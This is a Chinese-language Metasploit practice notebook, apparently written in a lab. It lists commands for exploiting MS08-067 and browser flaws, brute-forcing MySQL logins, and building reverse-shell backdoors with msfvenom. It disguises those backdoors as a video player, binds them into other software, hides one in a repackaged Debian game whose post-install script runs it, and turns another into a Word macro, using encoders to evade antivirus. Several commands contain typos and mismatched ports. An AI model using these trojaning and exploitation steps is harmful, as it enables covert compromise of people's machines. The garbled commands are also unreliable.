metasploit练习
复现ms08_067_netapi
使用模块
msf5 > use exploit/windows/smb/ms08_067_netapi
查看配置
msf5 exploit(windows/smb/ms08_067_netapi) > show options
配置目标地址
msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.19.132
查看target
配置target
msf5 exploit(windows/smb/ms08_067_netapi) > set target 34
检查配置
msf5 exploit(windows/smb/ms08_067_netapi) > show options
开始攻击
msf5 exploit(windows/smb/ms08_067_netapi) > exploit
攻击成功
-------------------------------分割线-------------------------------------
auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > show options
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.19.180
msf5 auxiliary(scanner/mysql/mysql_login) > set username root
msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
msf5 auxiliary(scanner/mysql/mysql_login) > show options
msf5 auxiliary(scanner/mysql/mysql_login) > run
------------------------------------分割线----------------------------------------
制作后门软件
msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=7777 –b “\x00” –e x86/shikta_ga_nai –I 10 –f exe –o /var/www/html/西瓜影音.exe
参数说明：
-a 指定架构 x86 x64
-platform 指定平台
-p 指定payload
LHOST 目标主机执行程序后连接我们kali的地址
LPORT 目标主机执行程序后连接我的kali的端口
-b 去掉坏字符、坏字符影响payload的正常执行
-e 指定编码器也就是所谓的免杀
-i 指定payload有效载荷编码次数
-f指定输出格式
-o 指定允许名称和导出位置
msfconsole
use exploit/multi/handler 打开监听
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.128
set LPORT 7777
exploit
systemctl start apache2
background 保存会话退出
sessions 查看会话
sessions –i 3 使用会话
给软件加后门
思路：先查看主程序会调用哪些附加的小程序，然后把payload后门和这些小程序绑定到一起。当然也可以直接加到主程序上，但是加主程序上容易报错。
msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=8888 –b “\x00” –e x86/shikata_ga_nai –I 10 –x QvodTerminal.exe –f exe –o /var/www/html/QvodTerminal.exe
-x 绑定到当前目录下的软件上
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.128
set LPORT 8888
jobs
exploit
jobs –k 退出
制作Linux恶意软件获取shell
使用msfvenom生成Linux可执行文件
msfvenom –a x64 --platform linux –p linux/x64/shell/reverse_tcp LHOST=192.168.44.128 LPORT=9999-b “\x00” –i 10 –f elf –o /var/www/html/xuezha
参数和生成Windows的差不多
--platform 指定linux
-f 指定elf即linux下的可执行文件类型
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.44.128
set LPORT 9998
exploit
制作linux下的恶意软件包
apt –download-only install freesweep 仅下载文件包
ls /var/cache/apt/freesweep_1.0.1-1_amd64.deb 查看下载后的文件
若是碰到apt锁定：
ps –aux | grep apt 查看进程
kill -9 2303 杀死进程
dpkg –x freesweep_1.0.1_amd64.deb free 解压源文件
msfvenom –a x64 –platform linux –p linux/x64/shell/reverse_tcp LHOST=192.168.44.128 LPORT=9997 –b “\x00” –i 10 –f elf –o /root/free/usr/games/freesweep_scores
mkdir free/DEBIAN && cd free/DEBIAN
vim /root/free/DEBIAN/contro 创建软件包信息
Package: freesweep
Version: 1.0.1-1
Section: Game and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (Ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display – in Linux consle, in an xterm, and in
most text-based terminals currently in use.
tee /root/free/control << ‘EOF’ 追加
EOF 结尾
tee /root/free/DEBIAN/postinst << ‘EOF’ 安装后脚本
#!/bin/bash
sudo chmod 2755 /user/games/freesweep_scores
sudo /usr/games/freesweep_scores &
EOF
chmod +755 /root/free/DEBAIN/postinst 加权限
dpkg-deb –bulid /root/free 打包
ls free.deb
dpkg –i free.deb 安装
use exploit/multi/handler
set payload linux/x64/mwterpreter/reverse_tcp
set LHOST 192.168.44.128
set LPORT 8889
exploit
利用XP系统的IE浏览器漏洞获取shell
ms14_064_ole
官方链接：https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-064
Windos OLE 中的漏洞可允许远程执行代码
use exploit/windows/browser/ms14_064_ole_code_execution
show options
show targets 对谁攻击
set payload windows/meterpreter/revese_tcp
set LHOST 192.168.44.128
run
rexploit 重新加载模块
基于java环境的漏洞利用获取shell
use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/revese_tcp
set LHOST 192.168.44.128
set targets 1
set AllowPowershellPrompt true 以管理员身份执行
set TRYUAC true
exploit
利用版本jre6/7/8
use exploit/multi/browser/java_jre17_driver_manager
show payloads
set LHOST 192.168.44.128
set payload java/meterpreter/http
run
利用宏感染word文档获取shell
生成宏代码
msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=7777 –e x86/shikata_nai –i 10 –f vba-exe
复制生成的宏代码中sub 。。。。。end sub 到文档的宏中。后面payload date 复制到文档中
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.128
set LPORT 4444
exploit
-----------------------------------------------------------分割线-----------------------------------------------------------------
